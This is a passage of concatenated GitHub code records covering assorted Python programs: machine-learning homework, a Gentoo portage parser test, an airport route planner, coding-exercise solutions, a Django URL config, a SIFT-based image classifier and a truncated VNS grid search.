tree.DecisionTreeClassifier(random_state=0)\ntreeModel.fit(x_train,y_train)\n\n#MODEL ACCURACY FOR TESTING AND TRAINING SETS\nprint(\"Model accuracy (Testing Set) = \",treeModel.score(x_test,y_test))\nprint(\"Model accuracy (Training Set) = \",treeModel.score(x_train,y_train))\n\n#ROC_AUC SCORE FOR TESTING AND TRAINING SETS\ntree_roc_auc_test = roc_auc_score(y_test,treeModel.predict(x_test))\ntree_roc_auc_train = roc_auc_score(y_train,treeModel.predict(x_train))\nprint(\"ROC_AUC SCORE (Testing Set) = \",tree_roc_auc_test)\nprint(\"ROC_AUC SCORE (Training Set) = \",tree_roc_auc_train)\n\n\n#GRID SEARCH ALGO FOR TUNING HYPERPARAMETERS AND SEARCHING OPTIMAL MIN_SAMPLES_LEAF IN TESTING AND TRAINING SETS\nparam_grid = dict(min_samples_leaf=range(2,21))\n\ngridTraining = GridSearchCV(treeModel,param_grid,scoring = 'roc_auc')\ngridTraining.fit(x_train,y_train)\n\ngridTesting = GridSearchCV(treeModel,param_grid,scoring = 'roc_auc')\ngridTesting.fit(x_test,y_test)\n\nprint(\"HYPERPARAMETER SEARCH TUNING WITH TRAINING SET :\")\nprint(\"Optimal score = \",gridTraining.best_score_)\nprint(\"Grid Best Params = \",gridTraining.best_params_)\n\n#print(\"Grid Best Estimator = \",grid.best_estimator_)\n#print(\"CV Results = \",grid.cv_results_)\n\nprint()\n\nprint(\"HYPERPARAMETER SEARCH TUNING WITH TESTING SET :\")\nprint(\"Optimal score = \",gridTesting.best_score_)\nprint(\"Grid Best Params = \",gridTesting.best_params_)\n\nplt.plot(range(2,21),gridTraining.cv_results_['mean_test_score'],label='TUNING with Training Set')\nplt.plot(range(2,21),gridTesting.cv_results_['mean_test_score'],label='TUNING with Testing Set')\nplt.legend()\nplt.show()\n\n\n\"\"\" PREDICTING POSTERIOR PROBABILITY \"\"\"\ninputSet_for_prediction = []\nfor i in range(len(inputs['Pclass'])):\n if inputs['Pclass'][i]==1 and inputs['Sex'][i] == 1:\n inputSet_for_prediction.append([inputs['Pclass'][i],inputs['Sex'][i],inputs['Age'][i],inputs['Siblings_Spouses_Aboard'][i],inputs['Parents_Children_Aboard'][i]])\n\n\nprobs = treeModel.predict_proba(inputSet_for_prediction)[:,1]\n\nprint(\"PROBABILITY OF A WOMAN FIRST CLASS PASSENGER TO SURVIVE IS \",(sum(probs)/len(probs))*100)\n","repo_name":"zhuhanghank/UNSW-COMP9417","sub_path":"Homework 2/titanic.py","file_name":"titanic.py","file_ext":"py","file_size_in_byte":2665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"35501512209","text":"from portage.tests import TestCase\nfrom portage.update import parse_updates\nfrom portage.dep import Atom\n\n\nclass ParseUpdatesTestCase(TestCase):\n def testParseUpdates(self):\n test_cases = (\n (\n \"\"\"\nslotmove invalid_atom 0 3\nslotmove !=invalid/blocker-3* 0 3\nslotmove =valid/atom-3* 0 3 invalid_extra_token\nslotmove =valid/atom-3* 0 3\nslotmove =valid/atom-3* 0 3/3.1\nslotmove =valid/atom-3* 0/0 3\nmove valid/atom1 valid/atom2 invalid_extra_token\nmove valid/atom1 invalid_atom2\nmove invalid_atom1 valid/atom2\nmove !invalid/blocker1 valid/atom2\nmove valid/atom1 !invalid/blocker2\nmove =invalid/operator-1* valid/atom2\nmove valid/atom1 =invalid/operator-2*\nmove valid/atom1 valid/atom2\n\"\"\",\n [\n [\"slotmove\", Atom(\"=valid/atom-3*\"), \"0\", \"3\"],\n [\"move\", Atom(\"valid/atom1\"), Atom(\"valid/atom2\")],\n ],\n 12,\n ),\n )\n\n for input_content, expected_output, expected_error_count in test_cases:\n output_data, errors = parse_updates(input_content)\n self.assertEqual(output_data, expected_output)\n self.assertEqual(len(errors), expected_error_count)\n","repo_name":"gentoo/portage","sub_path":"lib/portage/tests/emerge/test_global_updates.py","file_name":"test_global_updates.py","file_ext":"py","file_size_in_byte":1212,"program_lang":"python","lang":"en","doc_type":"code","stars":507,"dataset":"github-code","pt":"22"} +{"seq_id":"32980944466","text":"import csv\nimport math\n\n\ndef coordinaten(bestand):\n '''\n >>> coords = coordinaten('luchthavens.csv')\n >>> len(coords)\n 9187\n >>> type(coords)\n \n >>> coords['BRU']\n (50.902222, 4.485833)\n >>> coords['CDG']\n (49.016667, 2.55)\n >>> coords['DCA']\n (38.851944, -77.037778)\n >>> coords['LAX']\n (33.9425, -118.407222)\n '''\n c = csv.reader(open('luchthavens.csv', 'r', encoding=\"ISO-8859-1\"))\n return {rij[0]: (float(rij[5]), float(rij[6])) for rij in c}\n\n\ndef haversine(co1, co2):\n '''\n >>> haversine((50.902222, 4.485833), (49.016667, 2.55)) # BRU <-> CDG\n 251.2480027355068\n >>> haversine((38.851944, -77.037778), (33.9425, -118.407222)) # DCA <-> LAX\n 3710.8262543589817\n '''\n b1, l1 = co1\n b2, l2 = co2\n b1, l1, b2, l2 = math.radians(b1), math.radians(\n l1), math.radians(b2), math.radians(l2)\n a = (math.sin((b2-b1)/2))**2 + math.cos(b1) * \\\n math.cos(b2) * (math.sin((l2-l1)/2))**2\n c = math.atan(math.sqrt(a/(1-a)))\n return 2*c*6371\n\n\ndef afstandVanafLuchthaven(luchthaven, coords):\n '''\n luchthaven is de drielettercode van de luchthaven\n output is een dictionary met steeds :\n '''\n return {key: haversine(coords[luchthaven], b) for key, b in coords.items()}\n\n\ndef algoritme(a, b, coords, actieradius=1000):\n '''\n >>> coords = coordinaten('luchthavens.csv')\n >>> algoritme('DCA', 'LAX', coords, actieradius=2000)\n 'DDC'\n >>> algoritme('DCA', 'LAX', coords, actieradius=1000)\n 'MTO'\n >>> algoritme('HLC', 'LAX', coords, actieradius=1000)\n 'BFG'\n '''\n da = afstandVanafLuchthaven(a, coords) # codes:afstanden voor a\n assert min(da.values()) <= actieradius, 'geen mogelijke route'\n luchthavens_in_ar = [x for x in da.keys() if da[x] <= actieradius]\n luchthavens_in_ar_afstanden_tot_b = [\n haversine(coords[e], coords[b]) for e in luchthavens_in_ar]\n # neem de minimale afstand tot b, zoek de index ervan op in de lijst, en zoek die index op in de corresponderende namenlijst\n return luchthavens_in_ar[luchthavens_in_ar_afstanden_tot_b.index(min(luchthavens_in_ar_afstanden_tot_b))]\n\n\ndef vliegplan(vertrek, aankomst, coords, actieradius=1000):\n '''\n >>> coords = coordinaten('luchthavens.csv')\n >>> vliegplan('DCA', 'LAX', coords)\n ['DCA', 'MTO', 'HLC', 'BFG', 'LAX']\n >>> vliegplan('DCA', 'LAX', coords, actieradius=2000)\n ['DCA', 'DDC', 'LAX']\n >>> vliegplan('DCA', 'LAX', coords, actieradius=4000)\n ['DCA', 'LAX']\n >>> vliegplan('BRU', 'CDG', coords)\n ['BRU', 'CDG']\n >>> vliegplan('BRU', 'CDG', coords, actieradius=50)\n Traceback (most recent call last):\n AssertionError: geen mogelijke route\n '''\n\n outputlijst = [vertrek]\n while outputlijst[-1] != aankomst:\n assert algoritme(outputlijst[-1], aankomst, coords,\n actieradius) not in set(outputlijst), 'geen mogelijke route'\n outputlijst.append(\n algoritme(outputlijst[-1], aankomst, coords, actieradius))\n return outputlijst\n\n\ncoords = coordinaten('luchthavens.csv')\nprint(vliegplan('BRU', 'LAX', coords, 1000))\n","repo_name":"DanteDeRuwe/fys-ster-programmeren-1","sub_path":"Reeks09/AWOL.py","file_name":"AWOL.py","file_ext":"py","file_size_in_byte":3196,"program_lang":"python","lang":"nl","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"37707742614","text":"#!python\n\n# https://www.hackerrank.com/challenges/python-sort-sort/problem\n\nfrom operator import itemgetter\n\nif __name__ == '__main__':\n nm = input().split()\n n = int(nm[0])\n\n unsorted_list = []\n\n for _ in range(n):\n unsorted_list.append(list(map(int, input().rstrip().split())))\n\n sort_key = int(input())\n\n sorted_list = sorted(unsorted_list, key = itemgetter(sort_key))\n\n for element in sorted_list:\n print(' '.join(str(e) for e in element))\n","repo_name":"maris-svirksts/Snippets","sub_path":"Python/HackerRank/Athlete-Sort.py","file_name":"Athlete-Sort.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"73758009655","text":"# sate definition\n\nstate_index = 0\n\n\nclass State:\n def __init__(self, current, path, available_nodes, bccs=[], snake_d=-1):\n global state_index\n self.current = current\n self.path = path\n self.available_nodes = tuple(available_nodes)\n self.index = state_index\n self.bccs = bccs\n self.snake_dimension = snake_d\n state_index += 1\n\n @classmethod\n def state_from_tuple(cls, state_tuple):\n current = state_tuple[0]\n path = state_tuple[1]\n available_nodes = state_tuple[2]\n bccs = state_tuple[3]\n snake_dimension = state_tuple[4]\n return cls(current, path, available_nodes, bccs, snake_dimension)\n\n def __hash__(self):\n return self.index\n\n def print(self):\n print('-----------------------')\n print('current', self.current)\n print('path', self.path)\n print('available', self.available_nodes)\n print('comps', [c.h for c in self.bccs])\n print('-----------------------')\n\n def print_bccs(self):\n print('++++++ bccs:')\n for c in self.bccs:\n c.print()\n print('++++++')\n\n def update_dimension(self, d):\n self.snake_dimension = d\n\n def to_tuple(self):\n return self.current, self.path, self.available_nodes, [bcc.to_tuple() for bcc in\n self.bccs], self.snake_dimension\n","repo_name":"TheNamesItay/thesisProject","sub_path":"Definitions/state.py","file_name":"state.py","file_ext":"py","file_size_in_byte":1432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"9670504678","text":"def permutation(l):\n\tdef dfs(path, used, res):\n\t\t# exit condition\n\t\tif len(path)==len(l):\n\t\t\tres.append(path[:]) # DEEP COPY\n\t\t\t# append(list)를 그냥 하게 되면, shallow copy\n\t\t\t# 이는 list의 reference를 붙여주는 셈이다!!\n\t\t\t# value를 copy해주는 deep copy를 해주고 싶다면? \n\t\t\t# append(list[:])를 해줘야 한다!!! 이렇게 하면\n\t\t\t# list[:]는 새로운 리스트를 생성해주는 셈이고\n\t\t\t# 생성된 리스트를 append해주게 됨\n\t\t\treturn\n\t\t# non-exit conditon\n\t\tfor i, letter in enumerate(l):\n\t\t\tif used[i]:\n\t\t\t\tcontinue\n\t\t\tpath.append(letter)\n\t\t\tused[i] = True\n\t\t\tdfs(path, used, res) # --> recursive call\n\t\t\tpath.pop() # --> back tracking\n\t\t\tused[i] = False # --> back tracking\n\n\tresult = []\n\tdfs([], [False]*len(l), result)\n\treturn result\n\ninputs = \"abc\"\n\npermutation(inputs.split())\n","repo_name":"jungin-jin-choi/ps-leetcode","sub_path":"educative/backtracking/simple-permutation.py","file_name":"simple-permutation.py","file_ext":"py","file_size_in_byte":835,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"43701382722","text":"\"\"\"WebBooks URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/3.2/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path, include\nfrom catalog import views\nfrom django.conf.urls import url\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('', views.index, name='index'),\n url(r'^books/$', views.BookListView.as_view(), name='books'),\n # url(r'book//', views.BookDetailView.as_view(), name='book-detail'),\n url(r'^book/(?P\\d+)$', views.BookDetailView.as_view(), name='book-detail'),\n url(r'authors/$', views.AuthorListView.as_view(), name='authors'),\n path('authors_add/', views.authors_add, name='authors_add'),\n path('create/', views.EditAuthor.create, name='create'),\n path('delete//', views.EditAuthor.delete, name='delete'),\n path('edit/', views.EditAuthor.edit, name='edit'),\n]\n\nurlpatterns += [\n path('accounts/', include('django.contrib.auth.urls')),\n]\n\nurlpatterns += [\n # TO-DO Warning! base_generic: when logged user take a logout (being on any page) -> redirects into login\n url(r'^mybooks/$', views.LoanedBooksByUserListView.as_view(), name='mybooks'),\n]\n","repo_name":"Maltsew/World_book","sub_path":"WebBooks/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"42941296322","text":"#coding:utf-8\n'''\n把一个数组最开始的若干个元素搬到数组的末尾,我们称之为数组的旋转。\n输入一个递增排序的数组的一个旋转,输出旋转数组的最小元素。\n例如,数组 [3,4,5,1,2] 为 [1,2,3,4,5] 的一个旋转,该数组的最小值为1。  \n\n示例:\n输入:[3,4,5,1,2]\n输出:1\n'''\n\nclass Solution:\n def minArray(self, numbers):\n i, j = 0, len(numbers) - 1\n while i < j:\n mid = (i + j) // 2\n if numbers[mid] > numbers[j]:\n i = mid + 1\n elif numbers[mid] < numbers[j]:\n j = mid\n else:\n j -= 1\n return numbers[i]\n","repo_name":"BoatInTheRiver/codes_algorithm","sub_path":"剑指Offer/剑指 Offer 11. 旋转数组的最小数字.py","file_name":"剑指 Offer 11. 旋转数组的最小数字.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"zh","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"} +{"seq_id":"3903889722","text":"import os\nimport pickle\nfrom time import time\n\nimport cv2\nimport numpy as np\nfrom keras.preprocessing.image import (ImageDataGenerator, array_to_img,\n img_to_array, load_img)\nfrom matplotlib import pyplot\nfrom scipy import misc, signal\nfrom sklearn.cross_validation import train_test_split\nfrom sklearn.decomposition import (MiniBatchDictionaryLearning, SparseCoder,\n dict_learning, sparse_encode)\nfrom sklearn.metrics import classification_report\nfrom sklearn.svm import SVC, LinearSVC\nfrom tqdm import tqdm\n\n'''\ndsift.py: this function implements some basic functions that \ndoes dense sift feature extraction.\nThe descriptors are defined in a similar way to the one used in\nSvetlana Lazebnik's Matlab implementation, which could be found\nat:\nhttp://www.cs.unc.edu/~lazebnik/\nYangqing Jia, jiayq@eecs.berkeley.edu\n'''\n\n\n# sift features\nNangles = 8\nNbins = 4\nNsamples = Nbins**2\nalpha = 9.0\nangles = np.array(range(Nangles))*2.0*np.pi/Nangles\n\ndef gen_dgauss(sigma):\n '''\n generating a derivative of Gauss filter on both the X and Y\n direction.\n '''\n fwid = np.int(2*np.ceil(sigma))\n G = np.array(range(-fwid,fwid+1))**2\n G = G.reshape((G.size,1)) + G\n G = np.exp(- G / 2.0 / sigma / sigma)\n G /= np.sum(G)\n GH,GW = np.gradient(G)\n GH *= 2.0/np.sum(np.abs(GH))\n GW *= 2.0/np.sum(np.abs(GW))\n return GH,GW\n\nclass DsiftExtractor:\n '''\n The class that does dense sift feature extractor.\n Sample Usage:\n extractor = DsiftExtractor(gridSpacing,patchSize,[optional params])\n feaArr,positions = extractor.process_image(Image)\n '''\n def __init__(self, gridSpacing, patchSize,\n nrml_thres = 1.0,\\\n sigma_edge = 0.8,\\\n sift_thres = 0.2):\n '''\n gridSpacing: the spacing for sampling dense descriptors\n patchSize: the size for each sift patch\n nrml_thres: low contrast normalization threshold\n sigma_edge: the standard deviation for the gaussian smoothing\n before computing the gradient\n sift_thres: sift thresholding (0.2 works well based on\n Lowe's SIFT paper)\n '''\n self.gS = gridSpacing\n self.pS = patchSize\n self.nrml_thres = nrml_thres\n self.sigma = sigma_edge\n self.sift_thres = sift_thres\n # compute the weight contribution map\n sample_res = self.pS / np.double(Nbins)\n sample_p = np.array(range(self.pS))\n sample_ph, sample_pw = np.meshgrid(sample_p,sample_p)\n sample_ph.resize(sample_ph.size)\n sample_pw.resize(sample_pw.size)\n bincenter = np.array(range(1,Nbins*2,2)) / 2.0 / Nbins * self.pS - 0.5 \n bincenter_h, bincenter_w = np.meshgrid(bincenter,bincenter)\n bincenter_h.resize((bincenter_h.size,1))\n bincenter_w.resize((bincenter_w.size,1))\n dist_ph = abs(sample_ph - bincenter_h)\n dist_pw = abs(sample_pw - bincenter_w)\n weights_h = dist_ph / sample_res\n weights_w = dist_pw / sample_res\n weights_h = (1-weights_h) * (weights_h <= 1)\n weights_w = (1-weights_w) * (weights_w <= 1)\n # weights is the contribution of each pixel to the corresponding bin center\n self.weights = weights_h * weights_w\n #pyplot.imshow(self.weights)\n #pyplot.show()\n \n def process_image(self, image, positionNormalize = True,\\\n verbose = True):\n '''\n processes a single image, return the locations\n and the values of detected SIFT features.\n image: a M*N image which is a numpy 2D array. If you \n pass a color image, it will automatically be converted\n to a grayscale image.\n positionNormalize: whether to normalize the positions\n to [0,1]. If False, the pixel-based positions of the\n top-right position of the patches is returned.\n \n Return values:\n feaArr: the feature array, each row is a feature\n positions: the positions of the features\n '''\n\n image = image.astype(np.double)\n if image.ndim == 3:\n # we do not deal with color images.\n image = np.mean(image,axis=2)\n # compute the grids\n H,W = image.shape\n gS = self.gS\n pS = self.pS\n remH = np.mod(H-pS, gS)\n remW = np.mod(W-pS, gS)\n offsetH = int(remH/2)\n offsetW = int(remW/2)\n# print(type(remH), remH)\n gridH,gridW = np.meshgrid(range(offsetH,H-pS+1,gS), range(offsetW,W-pS+1,gS))\n gridH = gridH.flatten()\n gridW = gridW.flatten()\n# if verbose:\n# print ('Image: w {}, h {}, gs {}, ps {}, nFea {}'.\\\n# format(W,H,gS,pS,gridH.size))\n feaArr = self.calculate_sift_grid(image,gridH,gridW)\n feaArr = self.normalize_sift(feaArr)\n if positionNormalize:\n positions = np.vstack((gridH / np.double(H), gridW / np.double(W)))\n else:\n positions = np.vstack((gridH, gridW))\n return feaArr, positions\n\n def calculate_sift_grid(self,image,gridH,gridW):\n '''\n This function calculates the unnormalized sift features\n It is called by process_image().\n '''\n H,W = image.shape\n Npatches = gridH.size\n feaArr = np.zeros((Npatches,Nsamples*Nangles))\n\n # calculate gradient\n GH,GW = gen_dgauss(self.sigma)\n IH = signal.convolve2d(image,GH,mode='same')\n IW = signal.convolve2d(image,GW,mode='same')\n Imag = np.sqrt(IH**2+IW**2)\n Itheta = np.arctan2(IH,IW)\n Iorient = np.zeros((Nangles,H,W))\n for i in range(Nangles):\n Iorient[i] = Imag * np.maximum(np.cos(Itheta - angles[i])**alpha,0)\n #pyplot.imshow(Iorient[i])\n #pyplot.show()\n for i in range(Npatches):\n currFeature = np.zeros((Nangles,Nsamples))\n for j in range(Nangles):\n currFeature[j] = np.dot(self.weights,\\\n Iorient[j,gridH[i]:gridH[i]+self.pS, gridW[i]:gridW[i]+self.pS].flatten())\n feaArr[i] = currFeature.flatten()\n return feaArr\n\n def normalize_sift(self,feaArr):\n '''\n This function does sift feature normalization\n following David Lowe's definition (normalize length ->\n thresholding at 0.2 -> renormalize length)\n '''\n siftlen = np.sqrt(np.sum(feaArr**2,axis=1))\n hcontrast = (siftlen >= self.nrml_thres)\n siftlen[siftlen < self.nrml_thres] = self.nrml_thres\n # normalize with contrast thresholding\n feaArr /= siftlen.reshape((siftlen.size,1))\n # suppress large gradients\n feaArr[feaArr>self.sift_thres] = self.sift_thres\n # renormalize high-contrast ones\n feaArr[hcontrast] /= np.sqrt(np.sum(feaArr[hcontrast]**2,axis=1)).\\\n reshape((feaArr[hcontrast].shape[0],1))\n return feaArr\n\nclass SingleSiftExtractor(DsiftExtractor):\n '''\n The simple wrapper class that does feature extraction, treating\n the whole image as a local image patch.\n '''\n def __init__(self, patchSize,\n nrml_thres = 1.0,\\\n sigma_edge = 0.8,\\\n sift_thres = 0.2):\n # simply call the super class __init__ with a large gridSpace\n DsiftExtractor.__init__(self, patchSize, patchSize, nrml_thres, sigma_edge, sift_thres) \n \n def process_image(self, image):\n return DsiftExtractor.process_image(self, image, False, False)[0]\n \n\nbleeding_images_path = \"\"\n\nnormal_images_path = \"\"\n\nimage_name = []\nfor filename in os.listdir(bleeding_images_path):\n if(filename != '.ipynb_checkpoints'):\n image_name.append(os.path.join(bleeding_images_path, filename))\nfor filename in os.listdir(normal_images_path = \"\"):\n if(filename != '.ipynb_checkpoints'):\n image_name.append(os.path.join(normal_images_path, filename))\n\nY = np.append(np.ones(456), np.zeros(456))\nY = Y.reshape(len(image_name), 1)\n\nX_train, X_test, y_train, y_test = train_test_split(image_name, Y, test_size=0.30, random_state=42)\n\n\ntrain_descriptors = []\n\nextractor = DsiftExtractor(8,16,1)\nfor image_path in tqdm(X_train):\n image = misc.imread(image_path)\n feaArr, positions = extractor.process_image(image)\n train_descriptors.append(feaArr)\n\ntrain_descriptors = np.concatenate(train_descriptors, axis=0)\ntrain_descriptors.shape\n\ntest_descriptors = []\n\n\nextractor = DsiftExtractor(8,16,1)\nfor image_path in tqdm(X_test):\n image = misc.imread(image_path)\n feaArr, positions = extractor.process_image(image)\n test_descriptors.append(feaArr)\n\ntest_descriptors = np.concatenate(test_descriptors, axis=0)\ntest_descriptors.shape\n\n\nprint('Learning the dictionary...')\nt0 = time()\ndico = MiniBatchDictionaryLearning(n_components=50, batch_size=10, alpha=3, n_iter=250)\ndictionary = dico.fit(train_descriptors).components_\ndt = time() - t0\nprint('done in %.2fs.' % dt)\n\nprint('dictionary.shape : ', dictionary.shape)\n\ndescriptor_count = 5041\n\nprint('finding the X_train_sparse_code..........')\n\nt0 = time()\ndico.set_params(transform_algorithm='omp')\nX_train_sparse_code = dico.transform(train_descriptors)\ndt = time() - t0\nprint('done in %.2fs.' % dt)\n\nprint('X_train_sparse_code.shape : ', X_train_sparse_code.shape)\n\nprint('finding the X_test_sparse_code..........')\n\nt0 = time()\ndico.set_params(transform_algorithm='omp')\nX_test_sparse_code = dico.transform(test_descriptors)\ndt = time() - t0\nprint('done in %.2fs.' % dt)\n\nprint('X_test_sparse_code.shape : ', X_test_sparse_code.shape)\n\nint(X_train_sparse_code.shape[0] / descriptor_count)\n\nfinal_vectors_list_train = []\nt0 = time()\n\nlast_keypoints_count_train = 0\n\nfor i in tqdm(range(int(X_train_sparse_code.shape[0] / descriptor_count))):\n keypoints_count = descriptor_count\n vector = np.amax(X_train_sparse_code[last_keypoints_count_train : keypoints_count + last_keypoints_count_train], axis = 0)\n final_vectors_list_train.append(vector)\n \n last_keypoints_count_train += keypoints_count\n \nfinal_vectors_list_train = np.array(final_vectors_list_train)\n\ndt = time() - t0\nprint('done in %.2fs.' % dt)\n\nfinal_vectors_list_test = []\nt0 = time()\n\nlast_keypoints_count_test = 0\n\nfor i in tqdm(range(int(X_test_sparse_code.shape[0] / descriptor_count))):\n keypoints_count = descriptor_count\n vector = np.amax(X_test_sparse_code[last_keypoints_count_test : keypoints_count + last_keypoints_count_test], axis = 0)\n final_vectors_list_test.append(vector)\n \n last_keypoints_count_test += keypoints_count\n \nfinal_vectors_list_test = np.array(final_vectors_list_test)\n\ndt = time() - t0\nprint('done in %.2fs.' % dt)\n\nprint('final_vectors_list_train.shape : ', final_vectors_list_train.shape)\n\nprint('final_vectors_list_test.shape : ', final_vectors_list_test.shape)\n\n\nclf = LinearSVC()\nclf.fit(final_vectors_list_train, y_train)\npredictions = clf.predict(final_vectors_list_test)\n\nprint(classification_report(y_test, predictions))\n\n\nwith open('test_descriptors', 'wb') as f:\n pickle.dump(test_descriptors, f)\n\nwith open('train_descriptors', 'wb') as f:\n pickle.dump(train_descriptors, f)\n\nwith open('X_train_sparse_code', 'wb') as f:\n pickle.dump(X_train_sparse_code, f)\n\nwith open('X_test_sparse_code', 'wb') as f:\n pickle.dump(X_test_sparse_code, f)\n\nwith open('dictionary', 'wb') as f:\n pickle.dump(dictionary, f)\n \nwith open('final_vectors_list_train', 'wb') as f:\n pickle.dump(final_vectors_list_train, f)\n \nwith open('final_vectors_list_test', 'wb') as f:\n pickle.dump(final_vectors_list_test, f)\n \nwith open('Dataset', 'wb') as f:\n pickle.dump([X_train, X_test, y_train, y_test], f)\n \n \nprint(\"...................saved all variables.............\")\n","repo_name":"abhinav-2912/Bleeding-Detection","sub_path":"approach_3/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":11841,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"7729707331","text":"from collections import namedtuple\nfrom unittest import TestCase\n\nfrom app.lib.nlp import analyzers\n\nToken = namedtuple('Token', ['token', 'stem', 'lemma', 'pos', 'chunk'])\n\n\nclass UncertaintyAnalyzerTestCase(TestCase):\n def setUp(self):\n pass\n\n def test_analyze(self):\n data = {\n 'I am the walrus.': [\n Token._make(['I', 'I', 'i', 'PRP', 'B-NP']),\n Token._make(['am', 'am', 'be', 'VBP', 'B-VP']),\n Token._make(['the', 'the', 'the', 'DT', 'B-NP']),\n Token._make(['walrus', 'walru', 'walrus', 'NN', 'I-NP']),\n Token._make(['.', '.', '.', '.', 'O'])\n ],\n 'I am the eggman.': [\n Token._make(['I', 'I', 'i', 'PRP', 'B-NP']),\n Token._make(['am', 'am', 'be', 'VBP', 'B-VP']),\n Token._make(['the', 'the', 'the', 'DT', 'B-NP']),\n Token._make(['eggman', 'eggman', 'eggman', 'NN', 'I-NP']),\n Token._make(['.', '.', '.', '.', 'O'])\n ],\n 'Cells in Regulating Cellular Immunity': [\n Token._make(['Cells', 'Cell', 'cells', 'NNS', 'B-NP']),\n Token._make(['in', 'in', 'in', 'IN', 'B-PP']),\n Token._make(\n ['Regulating', 'Regul', 'regulating', 'VBG', 'B-VP']\n ),\n Token._make(\n ['Cellular', 'Cellular', 'cellular', 'JJ', 'B-NP']\n ),\n Token._make(\n ['Immunity', 'Immun', 'immunity', 'NN', 'I-NP']\n )\n ]\n }\n expected = {\n 'I am the walrus.': ['C', 'C', 'C', 'C', 'C'],\n 'I am the eggman.': ['C', 'C', 'C', 'C', 'C'],\n 'Cells in Regulating Cellular Immunity': [\n 'C', 'C', 'C', 'C', 'C'\n ]\n }\n actual = dict()\n for sentence, tokens in data.items():\n actual[sentence] = analyzers.UncertaintyAnalyzer(tokens).analyze()\n\n self.assertEqual(expected, actual)\n","repo_name":"andymeneely/sira-nlp","sub_path":"app/tests/lib/nlp/analyzers/test_uncertainty.py","file_name":"test_uncertainty.py","file_ext":"py","file_size_in_byte":2195,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"72279086777","text":"from unittest.case import TestCase\nimport dijkstras_algorithm\n\n__author__ = 'nik'\n\n\nclass DijkstasAlgorithmTest(TestCase):\n\n def test_compute_shortest_path(self):\n adj_list = {\n 1: [(2, 1), (3, 2)],\n 2: [(1, 1), (4, 5)],\n 3: [(1, 2), (4, 3), (5, 2)],\n 4: [(2, 5), (3, 3)],\n 5: [(3, 2)]\n }\n\n result = dijkstras_algorithm.compute_shortes_path(adj_list, 1)\n\n self.assertEqual({1: 0, 2: 1, 3: 2, 4: 5, 5: 4}, result)\n","repo_name":"dreambrother/algorithms","sub_path":"dijkstras-algorithm/dijkstras_algorithm_test.py","file_name":"dijkstras_algorithm_test.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"15818577599","text":"\"\"\"\nGiven a list of numbers, write a python function which returns true if one of the first 4 elements in the list is 9.\nOtherwise it should return false.\n\nThe length of the list can be less than 4 also.\n\n=========================================\n| Sample Input | Expected Output |\n=========================================\n| [1, 2, 9, 3, 4] | True |\n| [1, 2, 9] | True |\n| [1, 2,3,4] | False |\n=========================================\n\"\"\"\n\n\ndef find_nine(nums):\n li = nums[:4]\n if li.count(9) >= 1:\n return True\n else:\n return False\n\n\nnums = [1, 9, 4, 5, 6]\nprint(find_nine(nums))\n","repo_name":"shubhamjante/python-fundamental-questions","sub_path":"Programming Fundamentals using Python - Part 02/Practice Problems/Level 01/Problem 04.py","file_name":"Problem 04.py","file_ext":"py","file_size_in_byte":668,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"3578803390","text":"from time import time\nfrom test import VNS\nfrom statistics import mean\nfrom read_graph import read_graph\nfrom multiprocessing import Process, Manager\nfrom math import ceil\nfrom random import seed as rseed, shuffle\n\ndef myFunc(e):\n return e[1]\n\n\ndef create_space(d_min_space, d_max_init_space, prob_space, penalty_space):\n space = []\n for dmn in d_min_space:\n for dmx in d_max_init_space:\n for prob in prob_space:\n for penalty in penalty_space:\n space.append((dmn, dmx, prob, penalty))\n\n return space\n\ndef task(instance_name, g, k, d_min, d_max, time_limit, iteration_max, prob, penalty, seed, r, i):\n vns = VNS(instance_name, g, k, d_min, d_max, time_limit, iteration_max, prob, penalty, seed)\n d, time_execute, invalid_cnt, fit = vns.run()\n r[i] = [len(d), time_execute, invalid_cnt, fit]\n\n\nif __name__ == '__main__':\n paralellism = 6\n iteration_max = 1000\n time_limit = 3600\n seed = 12345\n rseed(12345)\n \n \n instance_dir = 'cities_small_instances'\n instances = ['bath.txt', 'belfast.txt', 'brighton.txt', 'bristol.txt',\n 'cardiff.txt', 'coventry.txt', 'exeter.txt', 'glasgow.txt',\n 'leeds.txt', 'leicester.txt', 'liverpool.txt', 'manchester.txt',\n 'newcastle.txt', 'nottingham.txt', 'oxford.txt', 'plymouth.txt',\n 'sheffield.txt', 'southampton.txt', 'sunderland.txt', 'york.txt']\n \n '''\n instance_dir = 'cities_big_instances'\n instances = ['belgrade.txt', 'berlin.txt', 'boston.txt', 'dublin.txt', 'minsk.txt']'''\n\n \n\n # define grid space\n d_min_space = [1]\n d_max_init_space = [5, 10, 15, 20, 25, 30, 40, 50, 100]\n prob_space = [0, 0.25, 0.5, 0.75, 1]\n penalty_space = [0.005, 0.01, 0.015, 